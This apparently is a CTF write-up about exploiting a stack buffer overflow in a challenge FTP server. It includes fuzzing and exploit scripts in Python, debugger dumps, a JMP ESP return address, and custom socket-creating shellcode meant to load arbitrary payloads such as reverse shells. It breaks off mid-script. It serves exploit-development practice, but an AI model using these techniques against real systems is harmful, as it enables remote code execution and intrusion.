Update 2018-09-13
Lots of people have asked for a copy of the binary so that they can play along with this. I’ve contacted Ammar and he has said it’s ok for me to provide it here. So for those that are keen to have a go at this themselves, have at it!.
On with the Show
With OSCE out of the way and the family in need of a break from me doing study and certifications, I decided to turn my hand to some fun exploit challenges to keep up the practice. To a wannabe bug exploiter such as myself, there are plenty of options out there which are great for fun and practice. Some of those options are:
- Downloading an application with a known vulnerability and exploit and practising on that.
- Downloading a proof of concept crash from ExploitDB and turning it into a full exploit.
- Reading sites such as Corelan and Fuzzy Security, who both have great exploit tutorials. However, instead of reading through the walk-throughs, download the vulnerable applications and attempt to exploit them yourself.
- Getting some “exploitme” style challenges from some bygone CTFs. A great place to go is ShellStorm, which contains an archive of lots of these.
On this particular day I thought I’d try one of the harder exploitme challenges and it just so happened that something appeared in my Twitter feed that pointed me to Ammar’s post discussing a level 500 exploit challenge from the IDSECCONF 2013 CTF. To quote Ammar:
… during the IDSECCONF offline CTF, none of the team were able to wrap up a working remote exploit, although one team were able to get [the] correct offset to overwrite EIP …
This had the hallmarks of being tricky and fun! I asked Ammar if the binary was still available and he kindly made it available for download (head to his site if you would like to have a shot at it yourself).
What follows is my dissection of the binary, along with my approach to exploiting it so that it would allow the attacker to submit any payload including reverse Meterpreter shells, bind shells and VNC injection. If you’re keen to take this challenge on by yourself, please don’t read this as it’s a blatant spoiler. Otherwise, let’s get stuck in!
The Tools
For this exploit, I used:
- The Immunity Debugger. I know I really need to get back into [Windbg][] now that OSCE is over, but cut me some slack.
- The Mona.py plug-in written by the legendary Corelanc0d3r.
- The machine I did this on was a Windows XP SP3 machine. The target machine for the CTF was apparently XP SP2, hence my decision to use this instead of Windows 7.
If you want to follow along, get yourself these tools, configure them and have them ready to go.
The FTP Server
The zip file that I downloaded contained one binary called myftpd.exe with a configuration file called passwd.conf. I started by opening the passwd.conf file to see what was inside:
test|test|c:|0
Obviously this is a list of users that are able to access the application and so it’s probably safe to assume that a valid login is test/test. Upon launching the application we’re presented with a rather nice black console which is used to show activity on the server:

Nothing too crazy going on here. We can see that it handles the basic commands, but there’s nothing too juicy going on. Given that we know this thing is supposed to be hosed remotely, let’s get a basic fuzzing script together and see if we can break it. I decided to go with something custom and very rudimentary to begin with, and the reason for this was because it’s a CTF exploitme, and I felt that the goal here was to get past a quirky exploit rather than spend a long period of time fuzzing. My guess paid off pretty quickly and it saved me from having to worry about more complicated fuzzing techniques and applications.
Fuzzing the Server
We know that the first thing we need to do when signing in to the server is to issue the USER command, so for me this was the first logical point of call. I whipped up a quick python script which generated bigger and bigger user names to throw at the application. It looks like this:
#!/usr/bin/python
import socket
host = '10.1.10.34'
port = 21
def fuzz(payload):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.recv(2048)
s.send(payload)
s.shutdown
s.close
print "[*] Fuzzing {0}:{1} ...".format(host, port)
for i in range(1, 100):
name = "A" * (i * 0x10)
command = "USER {0}\r\n".format(name)
print "[*] Username {0} chars, Command {1} chars...".format(len(name), len(command))
fuzz(command)
As you can see this script is really simple, and just increments the size of the payload to deploy until things break. I went ahead and attached Immunity to the server and kicked off my script. To my annoyance the developers of application has put a breakpoint in the code when a user connects. Obviously the goal here was to stop us from fuzzing under a debugger:

To get around this problem I just modified the assembly inline using Immunity so that the breakpoint (CC) instruction was instead a NOP (90) instruction like so:

With this out of the way the script ran nicely. Until…
$ ./fuzz.py
[*] Fuzzing 10.1.10.34:21 ...
[*] Username 16 chars, Command 23 chars...
[*] Username 32 chars, Command 39 chars...
[*] Username 48 chars, Command 55 chars...
[*] Username 64 chars, Command 71 chars...
[*] Username 80 chars, Command 87 chars...
[*] Username 96 chars, Command 103 chars...
[*] Username 112 chars, Command 119 chars...
[*] Username 128 chars, Command 135 chars...
[*] Username 144 chars, Command 151 chars...
[*] Username 160 chars, Command 167 chars...
[*] Username 176 chars, Command 183 chars...
[*] Username 192 chars, Command 199 chars...
[*] Username 208 chars, Command 215 chars...
[*] Username 224 chars, Command 231 chars...
[*] Username 240 chars, Command 247 chars...
[*] Username 256 chars, Command 263 chars...
[*] Username 272 chars, Command 279 chars...
[*] Username 288 chars, Command 295 chars...
[*] Username 304 chars, Command 311 chars...
When the username hit 304 characters, things turned bad for the server. Immunity showed the following information about the registers:
EAX 00000000
ECX 0024A9C0
EDX 0000002F
EBX 41414141
ESP 00B5FFC0
EBP 41414141
ESI 41414141
EDI 41414141
EIP 41414141
At this point it looks like we have a “vanilla” EIP overwrite. Taking a look at the stack window we can see something interesting:
00B5FF90 00000000 ....
00B5FF94 00000000 ....
00B5FF98 00000000 ....
00B5FF9C 41414141 AAAA
00B5FFA0 41414141 AAAA
00B5FFA4 41414141 AAAA
00B5FFA8 41414141 AAAA
00B5FFAC 41414141 AAAA
00B5FFB0 41414141 AAAA
00B5FFB4 41414141 AAAA
00B5FFB8 41414141 AAAA
00B5FFBC 00000A00 ....
00B5FFC0 0024A760 `§$. <-- ESP points here
00B5FFC4 00249E10 ž$.
00B5FFC8 0022DCF8 øÜ".
00B5FFCC 7FFDE000 .àý
00B5FFD0 825C2600 .&\‚
00B5FFD4 00B5FFC0 Àÿµ.
00B5FFD8 823B54B8 ¸T;‚
00B5FFDC FFFFFFFF ÿÿÿÿ End of SEH chain
00B5FFE0 7C839AC0 Àšƒ| SE handler
00B5FFE4 7C80B720 ·€| kernel32.7C80B720
00B5FFE8 00000000 ....
00B5FFEC 00000000 ....
00B5FFF0 00000000 ....
00B5FFF4 004013C0 À@. myftpd.004013C0
00B5FFF8 0022DCF8 øÜ".
00B5FFFC 00000000 ....
-- this is the end of the memory region --
From the above dump we can see that there’s a chance we can redirect the flow of code to something we control by pointing EIP to a known instruction for either a PUSH ESP # RET, CALL ESP or JMP ESP instruction. Before we look into that, it’s worth noting that this memory dump ends at 00B5FFFC, which means that we probably can’t write too much information otherwise we’ll crash the process in a different way. The other thing that stands out here is that the first part of the payload has be set to zero (we can’t see USER anywhere here) so it would appear that the front part of the buffer is clobbered by something before we get here.
I changed my fuzzing script a little and did some trial and error. It turns out that the use of USER isn’t actually required to cause the crash. I also found that the payload size could only be up to 365 characters, as any more would result in an exception.
I fired a command which was simply a string of 365 A characters without a \r\n suffix. This is what the stack looked like:
00B5FF90 00000000 ....
00B5FF94 00000000 ....
00B5FF98 00000000 ....
00B5FF9C 41414141 AAAA
00B5FFA0 41414141 AAAA
00B5FFA4 41414141 AAAA
00B5FFA8 41414141 AAAA
00B5FFAC 41414141 AAAA
00B5FFB0 41414141 AAAA
00B5FFB4 41414141 AAAA
00B5FFB8 41414141 AAAA
00B5FFBC 41414141 AAAA
00B5FFC0 41414141 AAAA
00B5FFC4 41414141 AAAA
00B5FFC8 41414141 AAAA
00B5FFCC 41414141 AAAA
00B5FFD0 41414141 AAAA
00B5FFD4 41414141 AAAA
00B5FFD8 41414141 AAAA
00B5FFDC 41414141 AAAA Pointer to next SEH record
00B5FFE0 41414141 AAAA SE handler
00B5FFE4 41414141 AAAA
00B5FFE8 41414141 AAAA
00B5FFEC 41414141 AAAA
00B5FFF0 41414141 AAAA
00B5FFF4 41414141 AAAA
00B5FFF8 41414141 AAAA
00B5FFFC 00414141 AAA.
What’s interesting here is that a NULL byte is being written to memory at 00B5FFFF, just something to bear in mind later on.
Controlling EIP
The next thing to do is to start crafting an exploit, and in order to execute our own code we need to control EIP. First we need to know the offset of the bytes that overwrite EIP and for this we’ll use the tried and true pattern_create.rb along with its cohort pattern_offset.rb. However, I’m not a fan of having massive exploit payloads directly pasted into my source code, so instead I read the files in. We create the pattern file like so:
$ pattern_create.rb 356 > pattern.txt
We then begin our exploit with a simple shell that looks like this:
#!/usr/bin/python
import socket
host = '10.1.10.34'
port = 21
def read_file(path):
with open(path, 'r') as f:
return f.read()
def pwn(payload):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.recv(2048)
s.send(payload)
s.shutdown
s.close
print "[*] Attacking {0}:{1} ...".format(host, port)
command = read_file('pattern.txt')
print "[*] Command {0} chars...".format(len(command))
pwn(command)
If we launch this script, the program crashes with the following register content:
EAX 00000000
ECX 0024CF98
EDX 00000031
EBX 336A4132
ESP 00B5FFC0 ASCII "0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al"
EBP 376A4136
ESI 41346A41
EDI 6A41356A
EIP 41386A41
For now we’re only interested in the offset of EIP and ESP, and the point at which the NULL bytes stop being written; if we need others then we will figure them out later:
$ pattern_offset.rb 0Ak1
[*] Exact match at offset 302
$ pattern_offset.rb 41386A41
[*] Exact match at offset 294
$ pattern_offset.rb 8Ai9
[*] Exact match at offset 266
Here we can see that EIP and ESP are actually quite close together. Let’s modify our exploit to see if we have our offsets correct (we’ll worry about the shellcode start later). The script now looks like this:
#!/usr/bin/python
import socket
host = '10.1.10.34'
port = 21
def read_file(path):
with open(path, 'r') as f:
return f.read()
def pwn(payload):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.recv(2048)
s.send(payload)
s.shutdown
s.close
max_size = 365
offsets = {
'SC': 266,
'EIP': 294,
'ESP': 302,
}
print "[*] Attacking {0}:{1} ...".format(host, port)
command = ""
command += "A" * (offsets['EIP'] - len(command))
command += "BBBB"
command += "C" * (offsets['ESP'] - len(command))
command += "DDDD"
command += "E" * (max_size - len(command))
print "[*] Command {0} chars...".format(len(command))
pwn(command)
Running this command gives us the following register content when crashed:
EAX 00000000
ECX 0024CF98
EDX 00000031
EBX 41414141
ESP 00B5FFC0 ASCII "DDDDEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
EBP 41414141
ESI 41414141
EDI 41414141
EIP 42424242
Our offsets are spot on. Next we need to find an address that we can use to overwrite ESP with. Preferably we’ll use a JMP ESP instruction instead of the other options because this will not modify the content of memory around ESP (which would be bad in case it overwrites stuff that’s important to us). Here we’ll use Mona.py within immunity to give us a list of addresses that we can use.
Ideally our exploit would not be tied to a given platform, so we would ultimately like to find an address which isn’t tied to any Windows DLLs. We start by searching for jump instructions within the myftpd process itself because we know this will translate across platforms:
!mona jmp -r ESP -m myftpd
Unfortunately for us, all we get is:
---------- Mona command started on 2014-02-28 22:29:14 (v2.0, rev 427) ----------
0BADF00D [+] Processing arguments and criteria
0BADF00D - Pointer access level : X
0BADF00D - Only querying modules myftpd
0BADF00D [+] Generating module info table, hang on...
0BADF00D - Processing modules
0BADF00D - Done. Let's rock 'n roll.
0BADF00D [+] Querying 1 modules
0BADF00D - Querying module myftpd.exe
0BADF00D - Search complete, processing results
0BADF00D [+] Preparing output file 'jmp.txt'
0BADF00D - (Re)setting logfile jmp.txt
0BADF00D Found a total of 0 pointers
0BADF00D
[+] This mona.py action took 0:00:00.265000
There are no addresses in the executable which we can use to redirect control to ESP. So we have to look further. We instead let Monay go nuts on all the modules:
!mona jmp -r ESP
And we get a listing that looks like the following:
---------- Mona command started on 2014-02-28 22:27:28 (v2.0, rev 427) ----------
0BADF00D [+] Processing arguments and criteria
0BADF00D - Pointer access level : X
0BADF00D [+] Generating module info table, hang on...
0BADF00D - Processing modules
0BADF00D - Done. Let's rock 'n roll.
0BADF00D [+] Querying 13 modules
0BADF00D - Querying module WS2_32.DLL
71A90000 Modules C:\WINDOWS\System32\wshtcpip.dll
0BADF00D - Querying module mswsock.dll
0BADF00D - Querying module myftpd.exe
0BADF00D - Querying module GDI32.dll
0BADF00D - Querying module ADVAPI32.dll
0BADF00D - Querying module kernel32.dll
0BADF00D - Querying module msvcrt.dll
0BADF00D - Querying module Secur32.dll
0BADF00D - Querying module ntdll.dll
0BADF00D - Querying module WS2HELP.dll
0BADF00D - Querying module RPCRT4.dll
0BADF00D - Querying module hnetcfg.dll
0BADF00D - Querying module USER32.dll
0BADF00D - Search complete, processing results
0BADF00D [+] Preparing output file 'jmp.txt'
0BADF00D - (Re)setting logfile jmp.txt
0BADF00D [+] Writing results to jmp.txt
0BADF00D - Number of pointers of type 'jmp esp' : 14
0BADF00D - Number of pointers of type 'call esp' : 10
0BADF00D - Number of pointers of type 'push esp # ret ' : 9
0BADF00D [+] Results :
77F31D2F 0x77f31d2f : jmp esp | {PAGE_EXECUTE_READ} [GDI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\GDI32.dll)
77DEF049 0x77def049 : jmp esp | {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll)
77DF965B 0x77df965b : jmp esp | {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll)
77E18063 0x77e18063 : jmp esp | {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll)
77E23B63 0x77e23b63 : jmp esp | {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll)
77E42A9F 0x77e42a9f : jmp esp | {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll)
7C86467B 0x7c86467b : jmp esp | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\kernel32.dll)
77E8560A 0x77e8560a : jmp esp | {PAGE_EXECUTE_READ} [RPCRT4.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\RPCRT4.dll)
77E9025B 0x77e9025b : jmp esp | {PAGE_EXECUTE_READ} [RPCRT4.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\RPCRT4.dll)
662EB24F 0x662eb24f : jmp esp | {PAGE_EXECUTE_READ} [hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\hnetcfg.dll)
7E429353 0x7e429353 : jmp esp | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll)
7E4456F7 0x7e4456f7 : jmp esp | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll)
7E455AF7 0x7e455af7 : jmp esp | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll)
7E45B310 0x7e45b310 : jmp esp | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll)
71ABF8FB 0x71abf8fb : call esp | {PAGE_EXECUTE_READ} [WS2_32.DLL] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\WS2_32.DLL)
71A78D3F 0x71a78d3f : call esp | {PAGE_EXECUTE_READ} [mswsock.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\mswsock.dll)
77DEEFFC 0x77deeffc : call esp | {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll)
77DEF0B2 0x77def0b2 : call esp | {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll)
77E18153 0x77e18153 : call esp | {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll)
77E1C23B 0x77e1c23b : call esp | {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll)
0BADF00D ... Please wait while I'm processing all remaining results and writing everything to file...
0BADF00D [+] Done. Only the first 20 pointers are shown here. For more pointers, open jmp.txt...
0BADF00D Found a total of 33 pointers
0BADF00D
[+] This mona.py action took 0:00:01.281000
Isn’t that just sweet? Lots of options here, though it does tie us down to a particular platform and using addresses like these will not work on Vista and later thanks to ASLR. Perhaps we can come up with a solution to this down the track.
I dug a little deeper in jmp.txt which contained all the addresses, and decided to settle on 0x7e4456f7 (a JMP ESP instruction) which is located in user32.dll. I chose this one because the only byte that isn’t in the ASCII table is the last one, and it was my attempt and minimising the possibility of a bad character causing problems. I modified the exploit so that EIP would contain this value, and changed the code in ESP so that it would break once the jump had been performed. I also starting building in the support for multiple platforms for easy adjustment later on.
#!/usr/bin/python
import socket, struct
host = '10.1.10.34'
port = 21
def read_file(path):
with open(path, 'r') as f:
return f.read()
def pwn(payload):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.recv(2048)
s.send(payload)
s.shutdown
s.close
max_size = 365
offsets = {
'SC': 266,
'EIP': 294,
'ESP': 302,
}
# the start of our collection of supported platforms
targets = [
{ 'Name': 'Windows XP SP3', 'JMPESP': 0x7e4456f7 }
]
# Hard coded target for now
target = targets[0]
print "[*] Attacking {0}:{1} ...".format(host, port)
command = ""
command += "A" * (offsets['EIP'] - len(command))
command += struct.pack("<L", target['JMPESP'])
command += "C" * (offsets['ESP'] - len(command))
command += "\xCC\xCC\xCC\xCC"
command += "E" * (max_size - len(command))
print "[*] Command {0} chars...".format(len(command))
pwn(command)
Execution of this script gives us the following:

“Wonderful”, as muts would say. We can see that ESP contains the breakpoint instructions and the first of those instructions has been hit, which indicates that our EIP overwrite worked and we now have control.
Getting a shell
If it isn’t already clear, we don’t really have that much space to play in. Our shellcode space starts at 266, ends at 365 and has a 4-byte block taken out of the middle of it which contains the EIP overwrite and another 4 bytes tucked away between ESP and EIP. It doesn’t leave us with much given how things are broken up. The area we have for shellcode looks like this:
00B5FF94 00000000 ....
00B5FF98 00000000 ....
00B5FF9C 42424242 BBBB <-- block 2 start --
00B5FFA0 42424242 BBBB
00B5FFA4 42424242 BBBB
00B5FFA8 42424242 BBBB
00B5FFAC 42424242 BBBB
00B5FFB0 42424242 BBBB
00B5FFB4 42424242 BBBB -- block 2 end -->
00B5FFB8 7E4456F7 ÷VD~ USER32.7E4456F7
00B5FFBC 43434343 CCCC <-- tucked away bytes -->
00B5FFC0 CCCCCCCC ÌÌÌÌ <-- block 1 start (entry point) --
00B5FFC4 45454545 EEEE
00B5FFC8 45454545 EEEE
00B5FFCC 45454545 EEEE
00B5FFD0 45454545 EEEE
00B5FFD4 45454545 EEEE
00B5FFD8 45454545 EEEE
00B5FFDC 45454545 EEEE Pointer to next SEH record
00B5FFE0 45454545 EEEE SE handler
00B5FFE4 45454545 EEEE
00B5FFE8 45454545 EEEE
00B5FFEC 45454545 EEEE
00B5FFF0 45454545 EEEE
00B5FFF4 45454545 EEEE
00B5FFF8 45454545 EEEE
00B5FFFC 00454545 EEE. -- block 1 end -->
Clearly we can’t fit a standard useful payload in here, plus with such limitations it flies in the face of our goal of being able to invoke any payload we wish from the attacker’s side. We need to consider other options.
Egghunter?
Now the first thing that people tend to do in situations like this is try to jam an egghunter of some description into this small area and use that to find a payload that was uploaded earlier on. This was the next step that I took, however I wasn’t able to get it working for two reasons:
- I couldn’t find a way of persisting the egg into memory prior to executing this payload.
- There are a number of bad characters which make it hard to fit the encoded egghunter into this area of memory.
Also, as handy as the egghunter approach is, it always feels like cheating. Plus if we want to support other platforms, such as WOW64, we’d have to have a much bigger cross-platform egghunter which would never fit.
At this point I decided not to go with the egghunter approach and attempt to find something else.
Socket reuse?
The FTP server already has a socket open to the attacker, the only reason we can’t execute our own payloads is because the FTP server doesn’t give us space and isn’t happy with certain characters. If we were to control the call to recv we could avoid both of these issues. This was the approach that I thought I would consider diving into.
Unfortunately for us, there is one killer issue that voids this option. That is, our shellcode does not actually execute until after the server closes the socket. If the socket gets destroyed prior to our code being run then it becomes useless to us. With this in mind, I considered finding the listen socket in memory and getting the shellcode to call accept on the same socket. However, this approach becomes a race between the main thread and the consumer thread. Relying on such conditions results in exploits that are unreliable, and nobody likes a dodgy sploit. They’re as unwelcome as an I.T. recruiter at a hacker meetup.
Given that both of those approaches were off the cards, reusing sockets was something that I had to let go of.
Socket construction!
I spent a bit of time thinking and nosing around the binary to see how it behaved with a goal of seeing which things I could leverage to get a foothold. I decided to take a slightly different approach which would require me to get funky with custom shellcode (and who doesn’t love that kind of challenge!). My thought process leading up to this point went like this:
- The server initialises a socket to listen on. To do so, it needs to call
socket,bind,listenandaccept, which means all of these functions are imported and should be readily available for use. - The context of the main thread would still exist when our own thread is running which means that the
sockaddrinformation used would still be in memory. It turns out that this value is actually stored in a global variable located at0x00407434and hence we can easily get to it and tweak it to fit our needs. This would mean we could use this information rather that try to set it up ourselves. - We could listen on a new socket for our attacker to connect, and when it does, it reads a payload into memory using
recvand executes it immediately.
Sounds a little barmy, but a lot of fun. So with this in mind, I started to dive into the shellcode.
Shellcode golf
Things to note
Before we can dive into building our shellcode we have a few things we need to consider. First, we want our code to be as portable as possible, and hence rely on the myftpd.exe binary instead of other DLLs. This means that when we call functions such as socket we need to go via the import table instead of accessing the DLLs directly. The problem we have here is that those addresses all come in the form 0x0040ABCD, which means we have a NULL byte to deal with. This is pretty easy to get around in a single case using the following method:
- Start by setting
EAXto0x40ABCD44, which is the same as the address, shifted left by 8 bits, and the OR’d with any valid character (44in this case). - Shift
EAXright using theSHRinstruction. This removes the lower order byte and zeros out the higher order byte. The effect is that you end up withEAXcontaining the value0x0040ABCDjust as we require.
Unfortunately, this approach means that we would have to use up 10 bytes for every call we make. This is because the MOV takes up 5 bytes, SHR 3 bytes, and CALL another 2 bytes. This is expensive! Instead we need to get smarter to reduce amount of work done.
We can actually use a handy trick to solve this problem. Observe the locations of the interesting functions within the myftpd.exe binary:
0040340C JMP DWORD PTR DS:[<&WS2_32.recv>] ; WS2_32.recv
00403424 JMP DWORD PTR DS:[<&WS2_32.accept>] ; WS2_32.accept
00403434 JMP DWORD PTR DS:[<&WS2_32.socket>] ; WS2_32.socket
00403454 JMP DWORD PTR DS:[<&WS2_32.bind>] ; WS2_32.bind
0040345C JMP DWORD PTR DS:[<&WS2_32.listen>] ; WS2_32.listen
00403DD4 JMP DWORD PTR DS:[<&msvcrt.malloc>] ; msvcrt.malloc
00403EA4 JMP DWORD PTR DS:[<&KERNEL32.VirtualProt>; kernel32.VirtualProtect
We can see that these imports are close together. So we could perform the above calculation the first time we need to call a function, but from that point on we can just modify the lower-order bytes directly. The MOV ?L and MOV ?H instructions are just 2 bytes, and MOV ?X is 3 bytes and hence save 5 or 6 bytes per call. Excellent! We just need to pick a register that will not change across function calls, and that will allow us to operate on the two lower order bytes easy. I chose EBX for this purpose.
So with that lot in mind, let’s get shellcoding.
Building the exploit shellcode
At the time of the crash our registers don’t contain anything too useful, other than EAX containing a 0 and ESP pointing to a known location in memory. However, even this is in a bad spot for us because any adjustment of the stack via the use of PUSH or CALL instructions result in the stack memory being changed. As a result we need to move ESP away from our shellcode prior to any work being done. Therefore our first bit of shellcode looks like this:
SUB ESP, 0x7C ; Move the stack pointer somewhere safe
We subtract 0x7C bytes because:
- Anything more than
0x7Fresults in an instruction that is 6 bytes. Also, each byte needs to be a non-bad char, which means thatESPwould be adjusted too far away, resulting in other problems. - The largest stack-aligned value under
0x7Fis0x7C, and keeping the stack aligned for certain function calls is very important.
The stack now points to somewhere in the block of zeros that overwrote our original payload. This will prove to be handy later on when we need zeros pushed onto the stack.
Next we need to construct a call to a new socket. This means we need to locate and call socket with the right parameters. To create a socket that is able to work with streams over TCP, the call would need to look like this: socket(2, 1, 6);
Before we can do that we need to get the first of the functions that we’re going to call into EBX, just as we discussed before:
MOV EBX, 0x40343444 ; Set EBX to a mostly correct address
SHR EBX, 0x8 ; Shift EBX right by a byte to correct the address
We now need to push the three magic values onto the stack in the reverse order (bear in mind that EAX is 0 at this point):
MOV AL, 6 ; Set EAX to 6
PUSH EAX
MOV AL, 1 ; Set EAX to 1
PUSH EAX
INC EAX ; Set EAX to 2
PUSH EAX
With the stack parameters ready to go, we can simply call the socket function and we should see a result appear in EAX which indicates a valid socket handle. Let’s take a look at our exploit up until this point:
#!/usr/bin/python
import socket, struct
host = '10.1.10.34'
port = 21
def read_file(path):
with open(path, 'r') as f:
return f.read()
def pwn(payload):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.recv(2048)
s.send(payload)
s.shutdown
s.close
max_size = 365
offsets = {
'SC': 266,
'EIP': 294,
'ESP': 302,
}
# the start of our collection of supported platforms
targets = [
{ 'Name': 'Windows XP SP3', 'JMPESP': 0x7e4456f7 }
]
# Hard coded target for now
target = targets[0]
print "[*] Attacking {0}:{1} ...".format(host, port)
block1 = ""
# Adjust the stack to prevent it from breaking things in our shellcode
block1 += "\x83\xEC\x7C" # SUB ESP, 0x7C
# Get the address of `socket` into EBX
block1 += "\xBB\x44\x34\x34\x40" # MOV EBX,<offsetted address>
block1 += "\xC1\xEB\x08" # SHR EBX, 0x8
# set up the stack for the call to `socket`
block1 += "\xB0\x06" # MOV AL, 0x6
block1 += "\x50" # PUSH EAX
block1 += "\xB0\x01" # MOV AL, 0x1
block1 += "\x50" # PUSH EAX
block1 += "\x40" # INC EAX
block1 += "\x50" # PUSH EAX
# invoke the call to `socket`
block1 += "\xFF\xD3" # CALL EBX
# set a breakpoint so we can see what's going on
block1 += "\xCC"
command = ""
command += "Z" * (offsets['SC'] - len(command))
command += "B" * (offsets['EIP'] - len(command))
command += struct.pack("<L", target['JMPESP'])
command += "C" * (offsets['ESP'] - len(command))
command += block1
command += "E" * (max_size - len(command))
print "[*] Command {0} chars...".format(len(command))
pwn(command)
Invocation shows shellcode that has just been invoked looking like this:
00B5FFC0 83EC 7C SUB ESP,7C
00B5FFC3 BB 44343440 MOV EBX,40343444
00B5FFC8 C1EB 08 SHR EBX,8
00B5FFCB B0 06 MOV AL,6
00B5FFCD 50 PUSH EAX
00B5FFCE B0 01 MOV AL,1
00B5FFD0 50 PUSH EAX
00B5FFD1 40 INC EAX
00B5FFD2 50 PUSH EAX
00B5FFD3 FFD3 CALL EBX
The registers contain the following:
EAX 00000084
ECX 71AB4114 WS2_32.71AB4114
EDX 00000008
EBX 00403434 <JMP.&WS2_32.socket>
ESP 00B5FF44
EBP 42424242
ESI 42424242
EDI 42424242
EIP 00B5FFD6
O 0 LastErr ERROR_SUCCESS (00000000)
So we can see that EBX contains the socket function address as we had planned, but more importantly the LastErr indicates success, and EAX contains the result of the function call which is the handle to the socket we’ll be listening on. We need to store that handle away so that we can use it in calls to bind, listen and accept. Instead of pushing onto the stack we’re going to put it in a register for easy access. EDI is another register that tends to persist across calls to the functions that we’ll be calling so let’s put it in there.
MOV EDI, EAX ; Store the socket handle somewhere else
Once we’ve got the socket, we need to bind it to an address. This is where the existing global variable comes in which was used to set up the existing socket. To locate this structure in memory, all I had to do was use Immunity to locate the exiting call to bind. This was as simple as setting a breakpoint on the same memory address as the bind jump call, which is at 0x00403454. This is invoked during start-up, and so launching the application results in the breakpoint being hit. From there we can step through a few instructions until we find ourselves back at the call site, located at address 0x00403134. The instructions leading up to the call look like this:
00403116 . 52 PUSH EDX ; |Socket
00403117 . A3 38744000 MOV DWORD PTR DS:[407438],EAX ; |
0040311C . C74424 08 1000>MOV DWORD PTR SS:[ESP+8],10 ; |
00403124 . C74424 04 3474>MOV DWORD PTR SS:[ESP+4],myftpd.00407434 ; |
0040312C . A1 30744000 MOV EAX,DWORD PTR DS:[407430] ; |
00403131 . 890424 MOV DWORD PTR SS:[ESP],EAX ; |
00403134 . E8 1B030000 CALL <JMP.&WS2_32.bind> ; \bind
The second parameter to a bind call is the socket address structure, which means the address stored in ESP+4 is the one we’re interested in. Here we can see that the value being stored here is myftpd.00407434, which is the global variable containing the socket address.
We’re going to abuse the knowledge of the location of this thing and reuse it in our call. Note that we can’t bind to the same socket, so we’ll just increment the socket number prior to making our call. The address is 0x00407434, which just happens to be 0x4000 past our current EBX value. We’ll abuse this fact to get the value bumped quicky, and then we’ll increment the port number:
MOV EDI, EAX ; Store the socket handle somewhere else
MOV ECX, EBX ; Copy EBX to ECX for munging
MOV CH, 0x74 ; Bump the address up to the right value
INC BYTE [ECX+3] ; Update the port from 21 to 22
So now we’ve bumped our port, and we have the sockaddr pointer in ECX we can now call bind. We know that the size of this structure is 16 bytes and have our socket handle ready in EDI. With our parameters ready to go, we can adjust EBX to point to bind, push our stuff onto the stack and make the call:
MOV BL, 0x54 ; Point EBX at `bind`
PUSH 0x10 ; Push 16 for the size of the struct
PUSH ECX ; Push the sockaddr struct pointer
PUSH EDI ; Push the socket handle
CALL EBX ; Invoke bind
OK, we’re starting to get the hang of this. Let’s see what our script looks like prior to running it this time:
#!/usr/bin/python
import socket, struct
host = '10.1.10.34'
port = 21
def read_file(path):
with open(path, 'r') as f:
return f.read()
def pwn(payload):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
